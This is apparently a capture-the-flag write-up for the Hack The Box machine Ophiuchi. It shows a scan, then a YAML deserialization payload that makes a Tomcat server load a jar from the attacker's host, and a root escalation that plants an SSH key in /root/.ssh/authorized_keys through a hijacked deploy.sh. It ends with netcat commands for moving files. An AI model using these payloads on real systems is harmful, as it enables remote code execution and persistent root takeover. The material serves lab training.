Link of the box: Ophiuchi
Enumeration (NMAP)
1
nmap -sV -sC 10.129.153.239
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-29 20:27 EDT
Nmap scan report for 10.129.153.239
Host is up (0.16s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 6d:fc:68:e2:da:5e:80:df:bc:d0:45:f5:29:db:04:ee (RSA)
| 256 7a:c9:83:7e:13:cb:c3:f9:59:1e:53:21:ab:19:76:ab (ECDSA)
|_ 256 17:6b:c3:a8:fc:5d:36:08:a1:40:89:d2:f4:0a:c6:46 (ED25519)
8080/tcp open http Apache Tomcat 9.0.38
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Parse YAML
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.45 seconds
- We got nothing from the dirbuster nor the nmap results
Exploitation
- I was thinking about some type of YAML deserialization attack, because that’s what the box is doing
After some google research I found out about this article explaining the YAML deserialization attack
- The payload to use (I tried with some different YAML interpreters, but only java worked)
https://github.com/artsploit/yaml-payload
- How to run commands in java
https://stackoverflow.com/questions/3403226/how-to-run-linux-commands-in-java
- We have to follow the instructions on the github and that’s it, we can get a shell (you can check my repo to see what I did)
- The java code will create a new payload to send to the server, but we don’t know how to send the file to the box. We can run the following YAML code to upload the file:
1
2
3
4
5
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.10.14.6/yaml-payload.jar"]
]]
]
- Start the listener and run the code.
Lateral movement
- I we search for config files inside the box, we can find the admin password.
Privilege Escalation
1
2
3
4
5
6
7
sudo -l
Matching Defaults entries for admin on ophiuchi:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User admin may run the following commands on ophiuchi:
(ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go
Apparently we can run the index.go script
The code opens two files and verify if the variable info is equal to 1, if it is, then we get some shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package main
import (
"fmt"
wasm "github.com/wasmerio/wasmer-go/wasmer"
"os/exec"
"log"
)
func main() {
bytes, _ := wasm.ReadBytes("main.wasm")
instance, _ := wasm.NewInstance(bytes)
defer instance.Close()
init := instance.Exports["info"]
result,_ := init()
f := result.String()
if (f != "1") {
fmt.Println("Not ready to deploy")
} else {
fmt.Println("Ready to deploy")
out, err := exec.Command("/bin/sh", "deploy.sh").Output()
if err != nil {
log.Fatal(err)
}
fmt.Println(string(out))
}
}
Now, the script opens the files BUT it doesn’t have an absoulute path, so if we run the command inside of any folder, we can change the input of the files!
We can change the main.wasm and the deploy.sh to our needs, firts we can download the following git
https://github.com/WebAssembly/wabt/releases
Now we can change the wasm (Web Assembly Binary Format) to text and alter the data, then we change the text to wasm and run the script
Change the info variable to 1 and convert the file to wasm again. Then send it to the box.
- Now we need to change the deploy.sh, because it runs the command that the deploy.sh contains, so we can run something like:
We can add the RSA keys if you want
1
echo "ssh-rsa AAAAB3NzaC1yc2E****************************************************************************************************************************************************************************************************************************************************************************************U= kali@kali" >> /root/.ssh/authorized_keys" > deploy.sh
NOTE
To send data through the machine we need to use netcat because the box doesn’t have python installed
cat [file] | nc [ip] [port] (target box) nc -lnvp [port] > [file] (your machine)